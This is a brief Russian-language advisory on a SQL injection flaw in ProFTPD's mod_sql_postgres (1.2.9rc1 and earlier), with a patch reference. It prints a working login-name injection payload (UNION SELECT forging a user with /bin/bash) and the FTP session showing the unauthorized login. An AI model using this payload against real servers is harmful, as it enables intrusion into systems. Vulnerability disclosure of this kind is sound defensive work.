Удаленный неавторизованный доступ в ProFTPD

Сообщается, что mod_sql_postgres не фильтрует данные, представленные пользователем. Удаленный пользователь может внедрить SQL код в переменную user login, чтобы получить доступ к системе без авторизации. Пример:

runlevel@runlevel:~/$ ftp localhost
Connected to localhost.
220 ProFTPD 1.2.8 Server (Debian) [*****]
Name (localhost:runlevel): ')UNION SELECT
'u','p',1001,1001,'/tmp','/bin/bash' WHERE(''='
331 Password required for ')UNION.
Password:
230 User ')UNION SELECT 'u','p',1001,1001,'/tmp'
,'/bin/bash' WHERE(''=' logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Уязвимость обнаружена в ProFTPD 1.2.9rc1 и более ранние версии

Патч contrib/mod_sql_postgres можно скачать отсюда (или посмотреть в источнике сообщения):

http://www.proftpd.org/cvs.html